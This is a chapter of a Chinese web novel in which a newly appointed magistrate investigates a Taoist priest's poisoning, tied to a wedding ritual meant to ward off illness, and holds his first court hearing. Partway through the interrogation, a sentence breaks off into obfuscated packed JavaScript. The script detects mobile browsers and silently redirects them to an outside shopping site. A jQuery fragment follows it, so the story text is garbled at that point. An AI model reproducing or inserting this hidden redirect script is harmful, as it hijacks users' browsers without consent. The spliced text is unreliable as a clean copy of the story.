文趣网 > 其他小说 > 大人升堂 > 6. 第 6 章
    童不器听了旁人的话怔愣了一会,然后笑了,“如果真有那么恐怖,李家人肯定想方设法地藏着掖着,怎么可能弄得全城皆知?”

    “理是这个理。可这事确实传开了。那个时候啊媒人放出话来说那李平安要出嫁,就要嫁给读书人,城里不少书生都是有意结亲的,后来传言四起也就作罢了,大家都躲得远远的。”

    如果真如他们所说,就是李修明骗了自己。

    而如果是真的,知道这个仪式的人肯定有限,那么又是谁传出来的呢?

    说话间,菜已上齐。

    童不器拿起酒壶给乔良吉倒了杯酒,又将自己的倒满,他啥也没说举起来跟乔良吉碰了一下就一口干了。

    “我打算明日......”

    “乔兄,还要麻烦你帮着追查那双煞毒药的来源,”意识到自己打断乔良吉说话的童不器,一顿,还是先把后面的话说完,“我初来乍到,一切都还很陌生,即便衙门里的人知道本地的门路,但对于粉黛与墨凉他们都没有听说过,查起来还要多多仰仗乔兄。”

    乔良吉没有马上答应他,沉默了一会,说:“田大俊肯定有他的办法。”

    “我也信本地的三教九流他定然有路数,但乔兄,这是我为官以来的第一个案子,我还是想有信任之人帮着把把关。”

    乔良吉犹豫着还是点了点头。

    童不器满意地笑了,“对了,乔兄,你刚刚要说什么?”

    “没什么。”

    童不器前倾了身子,压低了些声音,“你说李家的小公子会不会是有人给他下了药?”

    “有可能。”

    “那你知道是什么药吗?”

    乔良吉无语地抬手把童不器的脑袋往后戳,让他好好坐着。

    “你当我是什么神仙啊,什么都知道。”

    “可是你连双煞那么冷门的都知道,没准就知道李泽瑞身上的呢?”

    “因为双煞冷门又很有特点我才记忆深刻,像那个小孩身上的症状也不算难以做到,药就不一定唯一,反而更不好断定具体是哪一种。”

    童不器忍不住地点头,“有道理哎。那你给我一个方向。”

    乔良吉放下筷子,抱着双臂,轻挑了一下双眉,“其实很简单,谁下的药你问谁就好了。”

    童不器听了撇了撇嘴,“我现在不是不知道是谁吗。”

    不过,童不器想了一会,突然说:“没准李泽瑞的病就快要好了。”

    等他们结账离开时,店里来来往往的人讨论了一茬又一茬,话题都在新来的县令大人和李家的命案上。

    童不器的人都已经到店门口了,耳朵依然伸得很长,他试图在这样的闲言碎语里听到些线索。

    谁知一个不注意,被人撞在身上,同时“啪”的一声有东西摔碎了。

    童不器反应过来时,看到面前站着一个小姑娘茫然无措地看向地面。

    他下意识低头,看到地上一片狼藉,酱菜因为坛子碎了弄得满地都是。

    他连连道歉,“对不住。”

    见小姑娘低头去捡碎瓷片,他赶紧拦下,自己蹲下来捡,“我来,我来。”

    老板娘闻声赶来,忙不迭地道:“没事没事,这里我让人清理干净就好。”

    她见童不器沾了一手酱菜汁,喊伙计打了盆水让童不器洗手。

    老板娘告诉童不器,这小姑娘是来店里送酱菜的,自家手艺,味道不错。

    童不器掏出银子来递给一脸惋惜的小姑娘,小姑娘不敢接,说:“太多了。”

    “拿着吧,是我的错,撞到了你。”

    老板娘冲小姑娘点点头,小姑娘才接下来,“多谢公子。”

    出门的时候,童不器还听到小姑娘雀跃地跟老板娘说:“胡婶,那位公子真大方,还好我的鸡蛋没有摔破,这些钱也够买下这些鸡蛋了,所以胡婶就不用另外给我钱了。真好,我今天要给我爹带一壶好酒回去。”

    童不器心想这小姑娘人挺孝顺还不贪心。

    “压力大吗?”乔良吉突然开口。

    童不器有些听不懂,“乔兄,何故有此一问?”

    “大家都在等着看你能不能破了这桩命案。”

    “哦,你说这个啊,压力确实有一点点但没那么大,不是还有你帮我嘛。”

    县衙大堂,皂隶手持黑红棍站立两侧,童不器一身崭新官服从侧门入,缓缓走向属于他的公座。

    童不器坐定,头顶着“明镜高悬”四个大字,伸手拿起他此生第一次触碰到的惊堂木,扬起又重重一拍。

    “带赤云!”

    站班高声喝道:“带赤云上堂!”

    下一刻,赤云被带上堂来,才刚一跪倒,两边皂隶齐声高喊堂威直接吓得赤云面色一白。

    而这突然的堂威也着实吓了童不器一跳。

    他身形微微一颤,面色尴尬地稳住身形,还好,此刻没人看他。

    按例需问:“堂下何人?”

    赤云不敢抬头,声音发着颤,“回大人,草民......赤云,是......紫真人的徒弟。”

    “本官问你,你要如实招来。”

    “是,大人。”

    “紫真人之死可是你所为?”

    赤云一听,差点哭了,惊呼:“冤枉啊大人,我对师父尊敬有加,绝不敢做这样的事。”

    “你说仪式需要的东西都是你准备的,可那些符篆上都沾有粉癫药粉,你作何解释?”

    此话一出,赤云直接瘫软,差点跪不住。

    他喃喃低语,“不可能,这不可能,我没有下毒。”

    随后他大声喊道:“大人,我没有下毒,我连粉癫这个东西还是听你们说的。”

    “符篆可是你亲自画的?”

    “是,大人,我亲自买的黄裱纸,又亲自用朱砂画的。”

    “这些东西可有剩余?”

    赤云像突然看到希望了一样,眼睛有了点神,说话也有了些力气,“有,在我家中,而且我开始朱砂没调匀,还画废了两张。”

    童不器跟站班吩咐道:“去,马上命人去取来。”

    “那日你一直跟你师父形影不离,同饮同食吗?”

    赤云垂着脑袋仔细想了想,才回答问话,“那日是李府置办的酒席,我跟师父是同席。但后面我去布置香案时,就留师父和李老爷李夫人一同待在房内。我离开的时候听见李老爷吩咐丫鬟奉茶。”

    “那我再问你,市井里有传言,说冲喜之日,将会放掉新郎身上一半的血,可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591287|205474||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是事实?”

    赤云忙点头承认,“是有这么回事,师父让我保密,可不知为何还是传了出去。”

    “那血放来何用?”

    “是将一半白色的喜字染红,说是这样才是红双喜,才有驱邪的作用。”

    童不器心道果然如此,竟然是这样狠毒的方法,他们根本就没想留新郎一命。

    “紫真人可否将此举告诉了李修明夫妇?”

    “小人不知,每次师父与他们交谈并不会留我在场。”

    “你以上所说是否属实?”

    赤云赶紧跪直了频频点头,“草民说得句句属实,还望大人明察。”

    童不器看了师爷林盛一眼,林盛放下手里的笔,走向童不器将供状呈给童不器看。

    童不器看完后交还给林盛,“让他画押!”

    待赤云画押以后,童不器再次拍了惊堂木,“退堂!”

    下了堂,田大俊不解地问:“大人为何不直接提审李修明夫妇?”

    “因为我们没有任何证据证明是他们害死紫真人!”

    田大俊好像对这个答案不以为然,“那个赤云不也是没有证据?”

    童不器耐心跟他解释,“赤云不同,因为符篆上确实有毒药成分。”

    “哦!”

    “倒是你,我初来乍到不知,你却为何不告诉我冲喜之时要放新郎的血?”

    田大俊像才想到此事一样,“抱歉啊,大人,我给忘记了。”

    上来就得罪新任知县,他哪还有心思想别的。

    “好了,赶紧去查这个传言是怎么传出来的?还有赤云家里的东西化验好赶紧把结果告诉我。”

    “好!”田大俊领了命正要走的时候,突然又被童不器叫住。

    “这些你让别人去做,你赶紧带着乔良吉一起追查毒药的来源。”

    “好的,大人!”

    院子里躺在躺椅上悠哉喝茶的乔良吉,听到这里,才起身放了茶壶。

    起身之际,童不器上前小声地问,“我第一次升堂,你觉得怎么样?”

    “我怎么知道。”

    童不器笑着说:“别以为我不知道,我升堂的时候你就站在侧门看着。”

    “就那样!”说得很敷衍。

    越过童不器,乔良吉轻笑一声,心道:“看起来很不错。”

    不像平日那般冒冒失失,颇有点正气凛然的味道。

    很快,衙役从赤云家里将东西都带了回来。

    肖临很快给出了检验结果,没有使用完的朱砂里确实有粉癫,但那两张画废的符篆并没有毒药的成分。

    童不器了然,朱砂被人换了。也就是说赤云确实是被冤枉的。

    那最有嫌疑的就是李修明夫妇。

    可动机呢?

    童不器思考的时候,在白纸上写下李泽瑞的名字,并在名字上画了一圈又一圈。

    所有的事情都是围绕李泽瑞的病展开的......

    李平安深爱着宋洪却又答应冲喜,为什么会答应呢?

    冲喜就冲喜,为何要放新郎的血呢?童不器没有天真到相信那个离谱的说法。

    此时,县衙不远的小巷里,林盛从一位姑娘手里收了一袋银子,心满意足地笑了。